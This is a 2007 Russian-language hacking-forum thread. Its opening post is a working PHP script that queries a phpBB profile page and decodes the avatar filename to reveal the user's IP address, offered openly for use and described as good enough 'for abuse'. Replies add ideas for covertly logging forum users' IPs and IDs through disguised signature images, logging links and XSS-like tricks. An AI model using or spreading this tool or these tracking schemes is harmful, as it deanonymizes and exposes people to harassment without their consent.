Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   узнаем IP в phpBB (https://forum.antichat.xyz/showthread.php?t=41164)

Scipio 29.05.2007 21:43

узнаем IP в phpBB
 
Небольшой скрипт, для того, что бы узнать IP пользователя на форуме phpBB... есть 3 нюанса:

1. Узнать IP можно только у пользователя с аватарой... (причем IP на тот момент, когда он аватару прекреплял)

2. Работает не на всех форумах, но на подавляющем большинстве...

3. Вводить нужно не номер пользователя в списке пользователей, а его id

вот код:
Код:

<html>

<head>
  <title></title>
</head>

<body>

 <?php
error_reporting(E_ALL);
set_time_limit(0);
echo "<pre>";
$k=$PHP_SELF;
$pr='';
$ip='';
$pat='/(http:\/\/)?([^\/]+)/i';
if (!isset($adr)){$adr='';}
echo "by Scipio<br>\n\n\n";
echo "<form action='".$k."' method='post'>";
echo "<p>путь к форуму:<br>";
echo "<input type='text' name='adr' value='".$adr."'/><br><br>";
echo "id пользователя:<br>";
echo "<input type='text' name='id'/><br><br>";
echo "<input type='submit' name='submit' value='Жмем и пробуем' />";
echo "</p>";
if (!isset($id)){die;}
if (empty($adr) or empty($id))
  {die ("не все поля заполнены");}
    else
  {$adr=trim($adr);
    preg_match($pat,$adr, $matches);
    @$pr= $matches[1];
    @$host = $matches[2];
    $qr=explode($pr.$host,$adr);
    $qveria=$qr[1];
    empty($qveria)?$qveria='/':$qveria=$qveria;
    $ock=fsockopen($host,80);
    $pac="GET ".$qveria."/"."profile.php?mode=viewprofile&u=".$id." HTTP/1.0\r\nHost: ".$host."\r\n\r\n";
    fputs ($ock,$pac);
            while (!feof($ock))
                {
                //echo fgets ($ock,128);
                $st=fgets ($ock,128);
               
                if (preg_match("/avatars\//i",$st,$_8)) {
                      $cod=explode($_8[0],$st);
                      $cod=substr($cod[1],0,8);


                for ($i=0;$i<8;$i=$i+2)
                    {$ipd=$cod{$i}.$cod{$i+1};
                    $ip=$ip.hexdec($ipd).'.';


                        }

                  }

                }
    fclose ($ock);
      }
      if (!empty($ip)){  $ip=substr_replace($ip, '', strlen($ip)-1);
      echo "ip:".$ip."<a href=http://old.antichat.ru/util/whois/?ip=".$ip.">[whois]</a>";}else{die("узнать ip не удалось");}

echo "</pre>";

?>

</body>

</html>

Не судите строго, если комуто понадобится... буду улучшать и может быть переведу на perl...

yeti 29.05.2007 23:08

Смотри в чем дело.. Ip у всех динамический.. Не легче сделать что-то типа тойже картинки(это я к примеру) и просто скрипт ведения логов сделать. тогда уж будет гарантированно узнавать Ip.. Вроде видела где-то.. Да и СИ никто не отменял..

Scipio 29.05.2007 23:17

Цитата:

Сообщение от Shnurovka
Смотри в чем дело.. Ip у всех динамический.. Не легче сделать что-то типа тойже картинки(это я к примеру) и просто скрипт ведения логов сделать. тогда уж будет гарантированно узнавать Ip.. Вроде видела где-то.. Да и СИ никто не отменял..

ip - то динамический, но вот подсеть чаще всего не меняется...
для абуза сойдет...

и еще... ты немного не поняла сам код... тут айпи получается из названия файла-аватары

yeti 29.05.2007 23:21

Scipio, да, код я вполне возможно не поняла.. но.. все же.. учусь понемногу. И предложила альтернативный метод..

ну подсеть-то да..

Knight_of_Darkness 29.05.2007 23:58

Цитата:

Сообщение от Shnurovka
Смотри в чем дело.. Ip у всех динамический.. Не легче сделать что-то типа тойже картинки(это я к примеру) и просто скрипт ведения логов сделать. тогда уж будет гарантированно узнавать Ip.. Вроде видела где-то.. Да и СИ никто не отменял..

/* если чето и получится наподобие, то логи должны вестись на серваке */
И при чем тут СИ?

Petr 30.05.2007 00:14

Хм, а у меня друга идея появилась, вы когд-нибудь видели картинки в подписях, типо там ваш айпи светится, можно такую картинку сделать и маршуритизировать через скрипт каторый будет отлавливать пакет и данные сохронять где-нибудь на фтп.
Даже думаю можно сделать так (но это уже труднея, я даже плохова-то знаю как) чтобы и ник человека в лог писался.
Если кто реализует, напиши-те что идея моя.

Scipio 30.05.2007 00:20

Цитата:

Сообщение от Sandjuro
Хм, а у меня друга идея появилась, вы когд-нибудь видели картинки в подписях, типо там ваш айпи светится, можно такую картинку сделать и маршуритизировать через скрипт каторый будет отлавливать пакет и данные сохронять где-нибудь на фтп.
Даже думаю можно сделать так (но это уже труднея, я даже плохова-то знаю как) чтобы и ник человека в лог писался.
Если кто реализует, напиши-те что идея моя.

Это можно... (мож кто так и делает) вопрос втом, можно ли с серва коннектится к чужим сокетам, да и ник не узнаешь... так как идентификация идет по кукам (и ip иногда), а там ники не прописываются, хотя могут быть и исключения

2all Ну как скрипт работает?

yeti 30.05.2007 00:24

Sandjuro, ну почему трудно? вот я например отлично знаю, что моя подпись... она идет с самшита, а туда IP пишется. логи кароч.. примерно про это и говорила.. еще можно просто оформить не как подпись, а так.. ссылочку пихнуть, а кто туда заходил - логи сделать! в общем, способов много!

Petr 30.05.2007 00:27

Scipio, Ладно потправим идею, Делаем скрипт для определения айпи, Делаем картинку каторая работает с этим скриптом, + возможно чтобы он айди юзера собирал? это ж уже свой будет скрипт с картинкой, а картинку можно любую, чтобы даже не палили что это не просто картинка :)
Ах да, потом этотот скрипт может перенаправлять все по данному адресу (каторый впишем) и там уже сработает обычный php файлик каторый все красиве в txt и упакует
Как тебе такая идея?

Scipio 30.05.2007 00:38

ну типа активной Xss`ки? вот узерид можно... на атичате они в куки пишутся, но имхо не везде... а попробовать можно... послушать бы админов античата?


Время: 13:27